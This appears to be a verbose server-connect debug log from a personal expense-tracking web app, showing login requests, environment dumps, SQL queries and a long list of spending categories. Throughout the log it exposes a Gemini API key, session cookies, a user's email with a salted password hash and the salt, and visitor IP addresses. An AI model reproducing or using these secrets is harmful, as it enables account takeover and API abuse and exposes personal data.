    QUERY_STRING: undefined,
    REMOTE_ADDR: '176.53.223.233',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-FOR': '176.53.223.233',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
2025-12-15T12:38:35.613Z server-connect:router Serving templateView /
2025-12-15T12:38:35.613Z server-connect:app Executing action step identify
2025-12-15T12:38:35.614Z server-connect:app options: { provider: 'security' }
2025-12-15T12:38:35.614Z server-connect:auth No login cookie found
2025-12-15T12:38:35.614Z server-connect:output identity: false
2025-12-15T12:38:35.614Z server-connect:app Executing action step restrict
2025-12-15T12:38:35.614Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-15T12:38:35.614Z server-connect:output restrict: undefined
2025-12-15T12:38:35.831Z server-connect:router Serving templateView /login
2025-12-15T12:38:35.832Z server-connect:app Executing action step identify
2025-12-15T12:38:35.832Z server-connect:app options: { provider: 'security' }
2025-12-15T12:38:35.832Z server-connect:auth No login cookie found
2025-12-15T12:38:35.832Z server-connect:output identity: false
2025-12-15T12:38:35.832Z server-connect:router Render template layouts/authentication
2025-12-15T12:38:35.833Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    priority: 'u=0, i',
    'x-forwarded-for': '157.48.248.20',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:35.831Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.248.20',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '157.48.248.20',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-15T12:38:44.002Z server-connect:router Serving serverConnect /api/access-control/login
2025-12-15T12:38:44.002Z server-connect:app Executing action step identify
2025-12-15T12:38:44.002Z server-connect:app options: { provider: 'security' }
2025-12-15T12:38:44.045Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-15T12:38:44.048Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-15T12:38:44.092Z server-connect:output identity: 1
2025-12-15T12:38:44.093Z server-connect:app Executing action step login
2025-12-15T12:38:44.093Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2025-12-15T12:38:44.093Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-15T12:38:44.137Z server-connect:output identity: 1
2025-12-15T12:38:44.137Z server-connect:app Executing action step restrict
2025-12-15T12:38:44.137Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T12:38:44.137Z server-connect:output restrict: undefined
2025-12-15T12:38:44.373Z server-connect:router Serving templateView /
2025-12-15T12:38:44.373Z server-connect:app Executing action step identify
2025-12-15T12:38:44.373Z server-connect:app options: { provider: 'security' }
2025-12-15T12:38:44.373Z server-connect:output identity: 1
2025-12-15T12:38:44.373Z server-connect:app Executing action step restrict
2025-12-15T12:38:44.373Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-15T12:38:44.374Z server-connect:output restrict: undefined
2025-12-15T12:38:44.374Z server-connect:app Executing action step restrict
2025-12-15T12:38:44.374Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-15T12:38:44.374Z server-connect:output restrict: undefined
2025-12-15T12:38:44.374Z server-connect:router Render template layouts/main
2025-12-15T12:38:44.375Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'x-forwarded-for': '157.48.248.20',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:44.137Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.248.20',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fd6d-dk4f1fHWsTzJ3kz6UQS8GuV3HG0"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'HTTP_X_FORWARDED-FOR': '157.48.248.20',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-15T12:38:45.177Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-15T12:38:45.178Z server-connect:app Executing action step identify
2025-12-15T12:38:45.178Z server-connect:app options: { provider: 'security' }
2025-12-15T12:38:45.178Z server-connect:output identity: 1
2025-12-15T12:38:45.178Z server-connect:app Executing action step restrict
2025-12-15T12:38:45.178Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T12:38:45.178Z server-connect:output restrict: undefined
2025-12-15T12:38:45.178Z server-connect:app Executing action step single
2025-12-15T12:38:45.178Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-15T12:38:45.179Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-15T12:38:45.187Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-15T12:38:45.192Z server-connect:app Executing action step identify
2025-12-15T12:38:45.192Z server-connect:app options: { provider: 'security' }
2025-12-15T12:38:45.192Z server-connect:output identity: 1
2025-12-15T12:38:45.192Z server-connect:app Executing action step restrict
2025-12-15T12:38:45.192Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T12:38:45.192Z server-connect:output restrict: undefined
2025-12-15T12:38:45.192Z server-connect:app Executing action step select
2025-12-15T12:38:45.192Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-15T12:38:45.196Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-15T12:38:49.613Z server-connect:router Serving templateView /calorie-tracker
2025-12-15T12:38:49.613Z server-connect:app Executing action step identify
2025-12-15T12:38:49.613Z server-connect:app options: { provider: 'security' }
2025-12-15T12:38:49.613Z server-connect:output identity: 1
2025-12-15T12:38:49.613Z server-connect:app Executing action step restrict
2025-12-15T12:38:49.613Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-15T12:38:49.614Z server-connect:output restrict: undefined
2025-12-15T12:38:49.614Z server-connect:router Render template calorie-tracker
2025-12-15T12:38:49.614Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'x-forwarded-for': '157.48.248.20',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:44.137Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.248.20',
